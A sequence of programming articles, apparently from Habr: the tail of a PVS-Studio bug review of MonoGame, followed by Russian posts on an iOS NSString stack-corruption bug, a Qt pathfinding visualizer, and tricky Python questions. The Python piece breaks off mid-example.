var shaderInfo = paramlist[0] as ShaderInfo;
shaderInfo.SamplerStates.Add(sampler.Name, sampler); // <=
return null;
}
```
PVS-Studio warning: [V3156](https://pvs-studio.com/en/docs/warnings/v3156/) The first argument of the 'Add' method is not expected to be null. Potential null value: [sampler.Name](http://sampler.Name). MonoGame.Effect.Compiler ParseTree.cs 1111
The analyzer warns us that the *Add* method is not designed to take *null* as a first argument. At the same time the analyzer warns us that the first argument [*sampler.Name*](http://sampler.Name), passed to *Add*, can be *null*.
To begin with, let's look at the *shaderInfo.SamplerStates* field:
```
public class ShaderInfo
{
....
public Dictionary SamplerStates =
new Dictionary();
}
```
It's a dictionary and *Add* is a standard method. Indeed, *null* cannot be a dictionary key.
The value of the [*sampler.Name*](http://sampler.Name) field is passed as the dictionary key. A potential *null* can be assigned in this line:
```
sampler.Name = this.GetValue(tree, TokenType.Identifier, 0) as string;
```
The *GetValue* method can return *null* or an instance of any type other than *string*. Thus, the result of casting via the *as* operator is *null*. Could it be? Let's look at *getValue*:
```
protected object GetValue(ParseTree tree,
TokenType type,
ref int index)
{
object o = null;
if (index < 0) return o;
// left to right
foreach (ParseNode node in nodes)
{
if (node.Token.Type == type)
{
index--;
if (index < 0)
{
o = node.Eval(tree);
break;
}
}
}
return o;
}
```
So, this method can return *null* in two cases:
1. If the passed *index* value is less than 0;
2. If an element of the *nodes* collection that matches the passed *type* was not found.
The developer should have added *null* check for the return value of the *as* operator.
**Issue 5**
```
internal void Update()
{
if (GetQueuedSampleCount() > 0)
{
BufferReady.Invoke(this, EventArgs.Empty);
}
}
```
PVS-Studio warning: [V3083](https://pvs-studio.com/en/docs/warnings/v3083/) Unsafe invocation of event 'BufferReady', NullReferenceException is possible. Consider assigning event to a local variable before invoking it. MonoGame.Framework.DesktopGL(netstandard2.0) Microphone.OpenAL.cs 142
The analyzer warns about an unsafe invocation of event that potentially has no subscribers.
Before the event invocation, the return value of the *GetQueuedSampleCount* method is checked. If the presence of subscribers to the event does not depend on the truth of the condition, then a *NullReferenceException* may be thrown when this event is called.
If the truth of the expression "*GetQueuedSampleCount() > 0>*" guarantees the presence of subscribers, the problem still remains. The state can change between the check and the invocation. The *BufferReady* event is declared like this:
```
public event EventHandler BufferReady;
```
Note that the *public* access modifier allows other developers to use the *BufferReady* event in any code. This increases the chance of performing operations with the event in other threads.
Thus, adding *null* check in the condition does not prevent from *NullReferenceException*, because the *BufferReady* state can change between the check and the invocation.
The easiest way to fix it is to add Elvis operator '?.' to the *Invoke* call:
```
BufferReady?.Invoke(this, EventArgs.Empty);
```
If this option is not available for some reason, assign *BufferReady* to a local variable and work with it:
```
EventHandler bufferReadyLocal = BufferReady;
if (bufferReadyLocal != null)
bufferReadyLocal.Invoke(this, EventArgs.Empty);
```
Errors with *public* events in multi-threaded code may appear rarely, but they are very malicious. These errors are hard or even impossible to reproduce. You can read more about safer work with operators in the [V3083](https://pvs-studio.com/en/docs/warnings/v3083/) documentation.
**Issue 6**
```
public override TOutput Convert(
TInput input,
string processorName,
OpaqueDataDictionary processorParameters)
{
var processor = \_manager.CreateProcessor(processorName,
processorParameters);
var processContext = new PipelineProcessorContext(....);
var processedObject = processor.Process(input, processContext);
....
}
```
PVS-Studio warning: [V3080](https://pvs-studio.com/en/docs/warnings/v3080/) Possible null dereference. Consider inspecting 'processor'. MonoGame.Framework.Content.Pipeline PipelineProcessorContext.cs 55
The analyzer warns about possible dereference of the null reference when *processor.Process* is called.
An object of the *processor* class is created via the *\_manager.CreateProcessor* call. Let's look at its code fragment:
```
public IContentProcessor CreateProcessor(
string name,
OpaqueDataDictionary processorParameters)
{
var processorType = GetProcessorType(name);
if (processorType == null)
return null;
....
}
```
We see that *CreateProcessor* returns *null* if *GetProcessorType* also returns *null*. Well, let's look at the method's code:
```
public Type GetProcessorType(string name)
{
if (_processors == null)
ResolveAssemblies();
// Search for the processor type.
foreach (var info in _processors)
{
if (info.type.Name.Equals(name))
return info.type;
}
return null;
}
```
This method can return *null* if no matching element was found in the collection. If *GetProcessorType* returns *null*, then *CreateProcessor* also returns *null*, which will be written to the *processor* variable. As a result, *NullReferenceException* will be thrown if we call the *processor.Process* method.
Let's go back to the *Convert* method from the warning. Have you noticed that it has the *override* modifier? This method is an implementation of a contract from an abstract class. Here's this abstract method:
```
///
/// Converts a content item object using the specified content processor.
///....
/// Optional processor
/// for this content.
///....
public abstract TOutput Convert(
TInput input,
string processorName,
OpaqueDataDictionary processorParameters
);
```
The comment to the *processorName* input parameter implies that this parameter is optional. Perhaps the developer, seeing such a comment for the signature, will be sure that checks for *null* or empty strings were made in the contract implementations. But this implementation does not have any check.
Detection of potential dereference of a null reference allows us to find a number of possible sources of problem. For example:
* the correct work requires a non-empty and non-*null* string value, contrary to the comment to the abstract method signature.
* a large number of *null*-value returns, which are accessed without check. As a result, this may lead to *NullReferenceException*.
**Issue 7**
```
public MGBuildParser(object optionsObject)
{
....
foreach(var pair in _optionalOptions)
{
var fi = GetAttribute(pair.Value);
if(!string.IsNullOrEmpty(fi.Flag))
\_flags.Add(fi.Flag, fi.Name);
}
}
```
PVS-Studio warning: [V3146](https://pvs-studio.com/en/docs/warnings/v3146/) Possible null dereference of 'fi'. The 'FirstOrDefault' can return default null value. MonoGame.Content.Builder CommandLineParser.cs 125
This warning is also about possible *NullReferenceException*, since the return value of *FirstOrDefault* wasn't checked for *null*.
Let's find this *FirstOrDefault* call. The *fi* variable is initialized with the value returned by the *GetAttribute* method. The *FirstOrDefault* call from the analyzer's warning is there. The search didn't take too much time:
```
static T GetAttribute(ICustomAttributeProvider provider)
where T : Attribute
{
return provider.GetCustomAttributes(typeof(T),false)
.OfType()
.FirstOrDefault();
}
```
A *null* conditional operator should be used to protect code from *NullReferenceException*.
```
if(!string.IsNullOrEmpty(fi?.Flag))
```
Consequently, if *fi* is *null*, then when we try to access the *Flag* property, we'll get *null* instead of an exception. The return value of *IsNullOrEmpty* for *null* argument is *false*.
**Issue 8**
```
public GenericCollectionHelper(IntermediateSerializer serializer,
Type type)
{
var collectionElementType = GetCollectionElementType(type, false);
_contentSerializer =
serializer.GetTypeSerializer(collectionElementType);
....
}
```
PVS-Studio warning: [V3080](https://pvs-studio.com/en/docs/warnings/v3080/) Possible null dereference inside method at 'type.IsArray'. Consider inspecting the 1st argument: collectionElementType. MonoGame.Framework.Content.Pipeline GenericCollectionHelper.cs 48
PVS-Studio indicates that *collectionElementType* is passed to the *serializer.GetTypeSerializer* method. *collectionElementType* may be *null*. This argument is dereferenced inside of the method, and this is another potential *NullReferenceException*.
Let's check that we cannot pass *null* to *ContentTypeSerializer:*
```
public ContentTypeSerializer GetTypeSerializer(Type type)
{
....
if (type.IsArray)
{
....
}
....
}
```
Note that if the *type* parameter is *null*, then accessing *IsArray* property will throw an exception.
Passed *collectionElementType*is initialized with the return value of the *GetCollectionElementType* method. Let's look at what this method has inside:
```
private static Type GetCollectionElementType(Type type,
bool checkAncestors)
{
if (!checkAncestors
&& type.BaseType != null
&& FindCollectionInterface(type.BaseType) != null)
return null;
var collectionInterface = FindCollectionInterface(type);
if (collectionInterface == null)
return null;
return collectionInterface.GetGenericArguments()[0];
}
```
If the control switches to one of the two conditional constructions, *null* will be returned. Two scenarios that lead to *NullReferenceException* versus one scenario that leads to non-*null* value returned. Still, not a single check.
**Issue 9**
```
class Floor0 : VorbisFloor
{
int _rate;
....
int[] SynthesizeBarkCurve(int n)
{
var scale = _bark_map_size / toBARK(_rate / 2);
....
}
}
```
PVS-Studio warning: [V3041](https://pvs-studio.com/en/docs/warnings/v3041/) The expression was implicitly cast from 'int' type to 'double' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. MonoGame.Framework.DesktopGL(netstandard2.0) VorbisFloor.cs 113
The analyzer warns that when the integer value of *\_rate* is divided by two, an unexpected loss of the fractional part of the result may occur. This is a warning from the NVorbis code.
The warning relates to the second division operator. The *toBARK* method signature looks like this:
```
static float toBARK(double lsp)
```
The *\_rate* field has the *int* type. The result of division an integer type variable by a same-type variable is also an integer – the fractional part will be lost. If this behavior was not intended, then to get a *double* value as a result of division, you can, for example, add the *d* literal to a number or write this number with a dot:
```
var scale = _bark_map_size / toBARK(_rate / 2d);
var scale = _bark_map_size / toBARK(_rate / 2.0);
```
**Issue 10**
```
internal int InflateFast(....)
{
....
if (c > e)
{
// if source crosses,
c -= e; // wrapped copy
if (q - r > 0 && e > (q - r))
{
do
{
s.window[q++] = s.window[r++];
}
while (--e != 0);
}
else
{
Array.Copy(s.window, r, s.window, q, e);
q += e; r += e; e = 0; // <=
}
r = 0; // copy rest from start of window // <=
}
....
}
```
PVS-Studio warning: [V3008](https://pvs-studio.com/en/docs/warnings/v3008/) The 'r' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 1309, 1307. MonoGame.Framework.DesktopGL(netstandard2.0) Inflate.cs 1309
The analyzer detected that a variable with a value was assigned a new value. The previous one was never used. This warning was issued on the DotNetZip code.
If the control moves to the *else* branch, the *r* variable is assigned the sum of *r* and *e*. When the branch exits, the first operation will assign another value to *r*, without using the current one. The sum will be lost, making part of the calculations meaningless.
### Conclusion
Errors can be different. Even skilled developers make them. In this article we inspected both simple mistakes and dangerous fragments. The developers may not even notice some of them — code doesn't always say that one method returns *null* and the other method uses this *null* without any check.
Static analysis isn't perfect, but it still finds errors like these (and many more!). So why don't you [try the analyzer](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=monogame&utm_term=link_try-free) and check your projects? Maybe you'll find some interesting things too.
Thank you and see you in next articles! | https://habr.com/ru/post/649771/ | null | en | null |
# Повреждение стека в одном из методов NSString
Хочу написать про один странный креш, с которым разбирался на работе.
Креш происходил стабильно при заходе в папку с корейскими символами. Проблема оказалась во вроде бы безобидном коде следующего вида:
```
NSURLComponents* urlComp = [[NSURLComponents new] autorelease];
...
urlComp.path = path;
urlComp.user = username;
...
```
Падает при выставлении user — EXC\_BAD\_ACCESS внутри сеттера при посылке objc\_msgSend кому-то. Все переменные в порядке, ничто не могло сломаться. При этом креш воспроизводится в релизной конфигурации, но не в дебажной. Ругаясь на плохую работу отладчика в релизной конфе, идем смотреть дальше.
Хоть отладчик зачастую и не может в релизе распечатать переменные, но по дизассемблерному листингу легко видеть в каком регистре, какие переменные должны быть, и отладчик способен нормально выводить объекты (например, po $r0). Быстро становится понятно, что сдох username (в моем случае регистр r10) — po $r10 выводит число, а не объект. Несколько менее быстро становится понятно, что значение в регистре r10 поменялось после выставления path.
Окей, лезем смотреть, что происходит в методе "-[\_\_NSConcreteURLComponents setPath:]". Благо дело он небольшой и видно, что регистр r10 слетает при вызове "-[NSString(NSURLUtilities) stringByAddingPercentEncodingWithAllowedCharacters:]" — т.е. когда эскейпится переданный путь. Эта функция уже большая, и заказчик голову отровет за ее анализ, но хотя бы глянем на вход-выход
```
0x2ca50aec: push.w {r8, r10, r11}
0x2ca50af0: sub.w sp, sp, #0x1020
0x2ca50af4: sub sp, #0x10
...
0x2ca50e7a: add.w sp, sp, #0x1020
0x2ca50e7e: add sp, #0x10
0x2ca50e80: pop.w {r8, r10, r11}
```
При входе наш r10 сохраняется в стек, а при выходе восстанавливается. Указатель стека (sp) в порядке, что было, то и вернулось, а вот само содержимое стека уже не то — значение r10 восстановилось неверно. Таким образом, в системной функции для percent encoding'a есть повреждение стека.
Для наглядности я вынес код-пример в чистый тестовый проект:
```
NSObject* obj1 = [[NSObject new] autorelease];
NSObject* obj2 = [[NSObject new] autorelease];
NSObject* obj3 = [[NSObject new] autorelease];
NSObject* obj4 = [[NSObject new] autorelease];
NSString* str = @"/Users/zaryanov/Movies/rootfolder/시티 오브 히어로 (City of Heroes)/로니 리 가드너 (1961년부터 2010년까지)는 1985 년에 살인죄로 사형을받은 유타 주에서 총살형 된 미국의 악당이었다. 1984 년에 그는 솔트 레이크 시티에서 강도 동안 바텐더를 살해.m4v";
NSLog(@"%s str %@", __func__, str);
NSCharacterSet* charSet = [NSCharacterSet URLPathAllowedCharacterSet];
str = [str stringByAddingPercentEncodingWithAllowedCharacters:charSet];
NSLog(@"%s str %@", __func__, str);
NSLog(@"%s obj1 %@ obj2 %@ obj3 %@ obj4 %@", __func__, obj1, obj2, obj3, obj4);
```
При этом креш произошел не при выводе в лог, как я ожидал, а в самой проблемной функции (эскейпинга). Сработал abort в функции \_\_stack\_chk\_fail — дело в том, что в чистом тестовом проекте была разрешена архитектура arm64, и там, по всей видимости, есть проверка стека. Если оставить только armv7, то креш происходит при выводе объектов в лог, как я и ожидал. В любом случае, стек поврежден.
Далее гугление по «stringByAddingPercentEncodingWithAllowedCharacters crash» дает некоторые подтверждающие результаты:
<https://github.com/Alamofire/Alamofire/issues/206> — здесь, правда, жалуются на большое потребление памяти, но функция та же;
<https://gist.github.com/clowwindy/0d800f07a5e95e5c4dd0> — здесь пример, который сносит стек совсем, а не пару регистров.
Собственно, из первой приведенной ссылки я и взял логичное решение — юзать CFURLCreateStringByAddingPercentEscapes, менее удобно, зато работает. Тому же NSURLComponents можно выставить самим уже заэскейпленный путь.
Проблема воспроизводится на iOS 8.2, так что стоит оставить себе зарубку на подкорке. Как видно в моем случае, креш может быть немного спрятан и не очевиден из-за неявного вызова проблемной функции через другую функцию. Ну и с повреждением стека может повезти по-разному, если зацепит только регистры, то это может далеко не сразу обнаружиться.
**UPD:**
Не найдя такого бага в openradar, решил запостить его. При этом скопировал пример (не из браузера, но в нем может быть тот же результат) и… не получил креша. Оказалось, что эти иероглифы могут быть закодированы в UTF-8 разными способами, и в одном случае падает, а в другом — нет. Так, иероглиф 시 может быть закодирован как составной из двух элементов (получится 6 байт — E1 84 89 E1 85 B5), а может быть закодирован как уже собранный (получится 3 байта — EC 8B 9C). Во втором случае с такой строкой не упало.
Баг запостил — <http://www.openradar.me/20404230>, там же есть ссылка на пример в github, где баг воспроизводится. | https://habr.com/ru/post/254545/ | null | ru | null |
# Попытки сделать изучение алгоритмов поиска пути проще
Алгоритмы поиска пути — неотъемлемая часть разработки игр. А также различных систем навигации, ориентации и много чего ещё. Но мы сосредоточимся на именно игровой индустрии и алгоритмах, которые в ней применяются.
Каждый игровой разработчик сталкивается с задачей, в которой требуется заставить персонажа(или бота) пройти из одной точки в другую, при этом не собрав все стены. А разработчикам стратегий ещё нужно учитывать проходимость клеток(дороги, болота, леса и так далее). Вот здесь на помощь приходят алгоритмы поиска пути.
### Зачем?
Из вышесказанного можно сделать вывод, что любому игровому разработчику рано или поздно приходится сталкиваться и разбираться с поиском пути, а позже и модифицировать и оптимизировать его для собственных проектов. А так как очень много новичков сразу идут в GameDev для них не всегда просто прочитать несколько статей и понять тот или иной алгоритм. В этом посте описаны попытки создать программное обеспечение, которое поможет облегчить процесс понимания принципов работы алгоритмов поиска пути.
### Несколько слов об основных алгоритмах
Мы будем рассматривать 3 основных алгоритма. Теперь в двух словах о каждом из основных алгоритмов и скриншоты визуализации их работы в программе (немного опережая события).
#### Алгоритм Дейкстры
Разработан нидерландским учёным Эдсгером Дейкстрой в 1959 году. Алгоритм проверит каждую из вершин графа пока не найдет кратчайший путь до исходной вершины. Подробнее можно прочитать, например, [тут](https://habrahabr.ru/post/111361/).
#### A\*(A Star)
Этот алгоритм был впервые описан в 1968 году Питером Хартом, Нильсом Нильсоном и Бертрамом Рафаэлем. При рассмотрении каждой отдельной вершины переход делается в ту соседнюю вершину, предположительный путь из которой до искомой вершины самый короткий.
Начать изучение можно [здесь](http://www.policyalmanac.org/games/aStarTutorial_rus.htm).
#### Jump Point Search
Данный алгоритм был представлен в 2011 году Д. Харбором и А. Грастиеном. JPS ускоряет поиск пути, «перепрыгивая» многие места, которые должны быть просмотрены. «Прыжковые точки» позволяют ускорить алгоритм поиска пути, рассматривая только «необходимые» узлы. Очень хорошо объясняется принцип работы [здесь](https://habrahabr.ru/post/162915/)
### Небольшая оговорка
Стоить отметить, что [Growing Tree](http://weblog.jamisbuck.org/2011/1/27/maze-generation-growing-tree-algorithm) генератор, также представленный в программе, создает «классический лабиринт» как на картинке ниже(только больше), высота и ширина в настройках далее задается именно для него. Этот генератор был добавлен для создания «Вау-эффекта» у новичка и для демонстрации пути, построенного самыми базовыми алгоритмами(Правило правой или левой руки, DFS), в посте я не буду здесь останавливаться и сосредоточусь на ручном режиме.
### Основа поиска — клетчатое поле
Поиск работает на графе, самый простой создать из карты граф — это ~~расставить вэйпоинты самому~~ перевести карту в клетчатое поле. Так как цель — облегчить понимание основ, мы и собираемся работать с квадратными клетками.
Для начала нам стоит определить класс клетки. У пользователя должна быть возможность установить вход, выход и нанести на поле непроходимые препятствия, также для изучения полезно узнавать характеристики клетки, её родителя и статус прямо во время работы алгоритма. В итоге получаем представленный класс (set-, get-функции я убрал для экономии места):
```
enum Status{ Click, Unclick, Enter, Exit, NoStatus };
enum ListStatus {NoList, InClosed, InOpen};
class GraphicsCell : public QGraphicsRectItem
{
public:
GraphicsCell(int, int, int, bool *, bool *, bool *, QGraphicsItem *parent = 0);
void pressButton(int buttonID);
void showInfo(QPoint pos);
void updateStatus(int upd);
void deleteInfo();
private:
int x;
int y;
int f;
int g;
int h;
int weight = INT_MAX;
Status status;
ListStatus listStatus;
bool *isEnter;
bool *isExit;
bool visited;
GraphicsCell *par;
QGraphicsRectItem *infoBox;
};
```
Функции pressButton и updateStatus обрабатывают изменение статуса и цвета клетки. А showInfo и deleteInfo за инфобокс, о котором далее. Переменные x и y отвечают за координаты; f, g, h, weight за характеристики необходимые для работы алгоритмов поиска, status и listStatus за
статус клетки, isEnter и isExit за то, существует ли на карте вход и выход, par за родительскую клетку(необходимо для восстановления построенного пути).
### Работа с полем
Клетчатое поле мы создали, теперь хорошо бы предоставить пользователю возможность наносить вход и выход, расставлять стены и вызывать вышеупомянутый инфобокс.
К счастью, класс QGraphicsView из фреймворка Qt, на котором мы и создаем интерфейс, предоставляет нам виртуальные функции щелчка, двойного клика и движения курсора (mousePressEvent, doubleClickEvent, mouseMoveEvent соответственно). Их мы и перегружаем в классе сцены, которая содержит наши клетки.
Функция checkPos проверяет, чтобы курсор находился над объектом клетки.
```
void MazeWindow::mousePressEvent(QMouseEvent *event)
{
checkPos(event);
GraphicsCell *currCell = static_cast(scene()->itemAt(mapFromGlobal(cursor().pos()), QTransform()));
if (currCell == NULL)
return;
if (startStatus == Status::NoStatus)
{
if (currCell->status == Status::Click)
startStatus = Status::Click;
else
startStatus = Status::Unclick;
}
if (event->button() == Qt::RightButton)
{
currCell->showInfo(mapFromGlobal(cursor().pos()));
cellWithInfo = currCell;
}
else
currCell->pressButton(event->button());
}
```
Реализация функции щелчка. Определяем по какой клетке мы нажали и просим её обновить свой статус. Инфобокс пришлось поставить на ПКМ, так как в Qt при использовании двойного клика сначала вызывается функция обычного клика и это приводило к мерцанию клетки(мы обновляли состояние клетки при одинарном клике и возвращали его назад, когда понимали, что клик двойной).
Вход ставится на 'Ctrl + ЛКМ', а выход на колесико мыши или для тачпада 'Alt + ЛКМ'. Достаточно удобно. Стена устанавливается обычным ЛКМ.
```
void MazeWindow::mouseMoveEvent(QMouseEvent *event)
{
checkPos(event);
GraphicsCell *currCell = static_cast(scene()->itemAt(mapFromGlobal(cursor().pos()), QTransform()));
if (currCell == NULL)
return;
if (cellWithInfo != NULL && currCell != cellWithInfo)
{
cellWithInfo->deleteInfo();
cellWithInfo = NULL;
}
if (currCell->status == Status::Enter || currCell->status == Status::Exit)
return;
if (event->buttons() & Qt::LeftButton)
{
if (startStatus == Status::Click && currCell->status == Status::Click)
currCell->updateStatus(1);
else if (startStatus == Status::Unclick && currCell->status == Status::Unclick)
currCell->updateStatus(0);
}
}
```
Также хотелось позволить пользователю рисовать стены, как это сделано в привычных графических редакторах, зажав ЛКМ, водить по полю.
Для этого перегружаем функцию mouseMoveEvent(). Проверяем, чтобы мы были над клетками, и просим обновить состояние клетки под курсором. Если начать рисовать с пустой клетки, то и продолжим рисовать стены, если стерли стену, то и далее будем в режиме «ластика». Функция ещё отвечает за удаление инфобокса, если мы убираем курсор с клетки, на которой он был вызван.
Инфобокс создадим как обычный прямоугольник, на котором показаны характеристики веса, F, G, H (если вы знакомы с представленными выше алгоритмами, то знаете эти обозначения), текущий статус клетки и её родитель.
Всё, мы обеспечили работу поля для визуализации, половина сложной работы сделана, ура!
### Визуализация хода работ по поиску пути
Самая интересная часть программы, то, что должно превращать скучную (или не очень) статью в нечто такое:
Есть и пошаговый режим, который, в связке с инфобоксами, поможет на 100% понять работу каждого алгоритма.
Теперь пару слов о том, как это реализовывалось. Для примера рассмотрим функцию алгоритма AStar, остальные алгоритмы реализованы аналогично. Также мы оставим передачу сигнала от кнопки к самой функции.
```
bool MazeWindow::ASolve(int mode)
{
currMode = 0;
if (a == NULL)
{
//Удаление предыдущего решения, если оно существует
if (aL != NULL)
scene()->removeItem(aL);
clearLabyr();
a = new A(&labyr);
a->solveMaze(0);
}
if (mode == 0)
{
while (!a->solveMaze(1));
//Отображение
updatePictureSolve(Algorithms::AStarAlgo);
currMode = 1;
return true;
}
else
{
if (a->solveMaze(1))
{
//Отображение
updatePictureSolve(Algorithms::AStarAlgo);
QMessageBox msgBox;
msgBox.setText(tr("Sucsess"));
msgBox.setIcon(QMessageBox::Information);
msgBox.exec();
currMode = 1;
return true;
}
}
return false;
}
```
Пошаговый режим и полное решение мы реализовывали одной функцией, поэтому приходится передавать ID режима(0 — полное решение и 1 — для очередного шага). Далее, если это полное решение или первый шаг в пошаговом, очищаем поле от остатков предыдущего решения, чистим статусы клеток и обновляем характеристики c помощью функции clearLabyr. Функции самих алгоритмов реализованы так, что возвращают истину, если достигнута конечная точка поиска или поиск продолжать невозможно, и false, если можно работать дальше. Следовательно, для полного решения оператором while вызываем функцию, пока она не вернет true и наносим на сцену линию пути вызвав функцию updatePictureSolve. Для пошагового режима вызываем функцию при каждом щелчке, если путь найден, также отправляем его на отрисовку и выводим сообщение, чтобы пользователь случайно не прокликал момент решения.
Сами алгоритмы поиска обновляют статус клеток, когда заносят их в открытый или закрытый список.
### Панель управления
В программе представлены:
* Два типа генераторов: [Growing Tree](http://weblog.jamisbuck.org/2011/1/27/maze-generation-growing-tree-algorithm) и ручной режим(клетчатое поле, о котором говорилось выше)
* Пять типов алгоритмов: DFS и [поиск по правилу руки](http://myrobot.ru/articles/logo_mazesolving.php) для Growing Tree генератора, а также Дейкстра, AStar, JPS для ручного режима.
Необходимо было позволить пользователю удобно переключаться между назваными опциями. Результатом ~~великого дизайна~~ работы стала небольшая панелька меню в рабочей области, которую можно скрыть и вызвать через тулбар. Есть возможность менять цвета линии пути, кликнув по цветному полю.~~(если вам не нравится мой вкус)~~
### Работа со статистикой
Программой также можно воспользоваться, чтобы выбрать наиболее эффективный алгоритм для данной ситуации:
* Примерно рисуем необходимую карту, получается что-то как на картинке
* Запускаем все 3 алгоритма, на глаз оцениваем работу.
**Что примерно может получиться**
Очевидно, что для более менее серьёзных проектов «на глаз» недостаточно, поэтому необходимо отображать статистику.
Мы будем делать это в виде виджета с краткой статистикой текущего алгоритма в рабочей области и отдельного окна, отображающего работу всех алгоритмов за сеанс и позволяющего создать отчет, который можно будет скопировать, например, в Excel, построить там графики.
Реализация виджета с краткой статистикой очень походит на реализацию виджета с настройками, да и выглядит он почти также:
Алгоритм сам подсчитывает количество операций. Длину пути можно узнать из характеристик клетки выхода, а время мы считаем таймерами, вычитая время потраченное на рисовку(хотя это не очень то и точно). Когда алгоритм заканчивает работу он передает статистику на виджет и вызвает функцию создания записи в таблице. В итоге имеет такую таблицу:
Стоит отдельно сказать почему у A\* и Декстры результаты одинаковые, а у JPS отличный. Это связано с тем, что используются 2 разные методики подсчета растояния между клетками: A\* и Дейкстра используют стоимость вертикального и горизонтального перехода 10 и диагонального 14, а потом делят общий результат на 10; JPS использует 1 и sqrt(2) соответственно и ничего не делит, но тоже округляет. JPS показывает длину пути несколько точнее, именно поэтому числа различны.
**После обработки данных можно получить что-то такое:***Для такой ситуации:*
*Такой график:*
### Заключение
Мы получили программу, которая помогает начинающим, и не только, программистам разобраться с алгоритмами поиска пути. По крайней мере я всё-таки помог паре своей друзей)
Автор будет рад выслушать ваши пожелания и исполнить их, как только напишет экзамены.
Возможно, череда улучшений приведет к тому, что мы получим мощную библиотеку с алгоритмами, а программа станет приятной демкой для неё (Как [PathFinding.js](https://qiao.github.io/PathFinding.js/visual/), только лучше).
Если вы, возможно, хотели бы написать статью о поиске пути, можете приложить к ней и эту программу.
→ Опытный материал для исследования: [PathFinding.js](https://qiao.github.io/PathFinding.js/visual/)
→ Скачать архив с программой можно с [ЯД](https://yadi.sk/d/s20hYX6R3FT6nM) или с [DropBox](https://www.dropbox.com/s/infolh0e9psic49/PathFinding%20v1.0.0.0.rar?dl=0).
UPD: изначально по ошибке была опубликована не до конца отлаженная версия, теперь все ок. Приношу свои извинения. 14.03.2017 (да-да около 4х суток висела забагованная версия :C)
→ Исходный проект VS2013: [ЯД](https://yadi.sk/d/4JzN8Mfk3FayG7) и [Dropbox](https://www.dropbox.com/s/j3tqe0mh4ijv51k/MazeVisualizer.rar?dl=0) | https://habr.com/ru/post/323650/ | null | ru | null |
# Каверзные вопросы по Python
Мне кажется, в каждом языке программирования есть моменты, которые требуют повышенной концентрации внимания или больше практики для своего понимания. Python в этом плане не исключение, и сегодня я расскажу вам о нескольких каверзных вопросах, с которыми вы можете столкнуться как в повседневной разработке, так и в ходе прохождения собеседования.
Каждый пример будет построен так, чтобы сначала можно было подумать самому, потом получить подсказку, почитать объяснение, и только в конце увидеть ответ.
Обратите внимание, что первичное объяснение не всегда корректно. Чтобы получить правильный ответ, дочитывайте пример до конца.
### Первый пример
Очень короткий. Про операторы и порядок их вычислений.
```
11 > 0 is True
```
С ходу можно интерпретировать это выражение следующим образом:
* Приоритет операторов сравнения и `is` одинаков.
* `11 > 0` — это `True`.
* Упрощаем выражение, получая `True is True`.
* Всё выражение в итоге станет `True`.
На самом же деле это выражение вернёт `False`.
Вот еще пара похожих выражений.
```
0 < 0 == 0 # False
1 in range(2) == True # False
```
Также обратите внимание, что расстановка скобок изменит результат.
```
(11 > 0) is True # True
(0 < 0) == 0 # True
(1 in range(2)) == True # True
```
Как всегда, никакой магии в этих примерах нет. Приведенные выражения — это [chained comparisons](https://docs.python.org/3/reference/expressions.html#comparisons), которые следует читать так: `a op1 b op2 c ... y opN z` эквивалентно `a op1 b and b op2 c and ... y opN z`.
Итак, ответ: исходное выражение эквивалентно `(11 > 0) and (0 is True)`, что, очевидно, является ложью.
Остался вопрос про скобки? Расстановка скобок превращает выражение в обычное, не chained comparisons. То есть благодаря скобкам приоритет смещается на выражение в них, оно вычисляется первым, а затем выполняется вторая операция.
### Второй пример
В отличие от остальных примеров, незнание следующего факта вряд ли приведёт к ошибке в коде, но знать о таких вещах, мне кажется, как минимум любопытно.
```
a = 123
b = 123
a == b
a is b
```
Двойное равно проверяет объекты на равенство (и очевидно, что 123 == 123). А оператор `is` проверяет, что переменные ссылаются на один и тот же объект. `a` и `b` — разные объекты, поэтому `a is b` вернёт `False`.
На самом деле в Python есть оптимизация, касающаяся небольших int-ов (от -5 до 256 включительно). Эти объекты загружаются в память интерпретатора при его запуске. Получается небольшой [кеш](https://github.com/python/cpython/blob/4830f581af57dd305c02c1fd72299ecb5b090eca/Objects/longobject.c#L18-L23). Из-за этого объект получается один, и результат будет `True`.
Аналогичный пример для числа > 256 сработает ожидаемо:
```
a = 257
b = 257
a == b # True
a is b # False
```
### Второй пример. Продолжение
Давайте попробуем копнуть глубже и посмотрим на следующий пример:
```
def test():
a = 257
b = 257
print(a is b)
test()
```
257 не входит в кеш, и должно отобразиться `False`.
Отличие от предыдущего примера в том, что тут за счёт функции все инструкции интерпретатору подаются единым блоком. Чтобы понять, что происходит, давайте обратимся к байткоду этой функции:
```
import dis
dis.dis(test)
```
Мы увидим следующие инструкции:
```
2 0 LOAD_CONST 1 (257)
2 STORE_FAST 0 (a)
3 4 LOAD_CONST 1 (257)
6 STORE_FAST 1 (b)
4 8 LOAD_GLOBAL 0 (print)
10 LOAD_FAST 0 (a)
12 LOAD_FAST 1 (b)
14 COMPARE_OP 8 (is)
16 CALL_FUNCTION 1
18 POP_TOP
20 LOAD_CONST 0 (None)
22 RETURN_VALUE
```
Предпоследняя колонка — это аргументы для операций. Для `LOAD_CONST` — это индекс в массиве констант. Поскольку для обеих операций `LOAD_CONST` подаётся один и тот же индекс, в байткоде у нас лишь один объект, отвечающий за число 257.
Получается, что интерпретатор способен на подобные оптимизации: код предварительно анализируется, и некоторые константы переиспользуются (float-ы тоже, но не tuple-ы).
Итак, исходный код выведет `True`.
### Третий пример
Этот вопрос однажды встретился мне на собеседовании. Он про классы и методы.
```
class C:
a = lambda self: self.b()
def __init__(self):
self.b = lambda self: None
c = C()
c.a()
```
Здесь стоит внимательно пройти цепочку вызовов, отличая методы класса от обычных функций.
Вспоминаем, что вызов метода применительно к экземпляру класса `c.method()` — это то же самое, что вызов метода применительно к классу с первым аргументом в качестве экземпляра: `C.method(c)`.
Теперь проверим, во что превратились параметры `a` и `b` класса `C`.
```
type(c.a) #
type(c.b) #
```
Параметр `а` превратился в метод класса, такой же, как при определении метода внутри класса через `def a(self)`.
А вот `b` — это обычная функция, потому что она присваивается атрибуту экземпляра класса, а не определяется (как `a`) в момент создания класса.
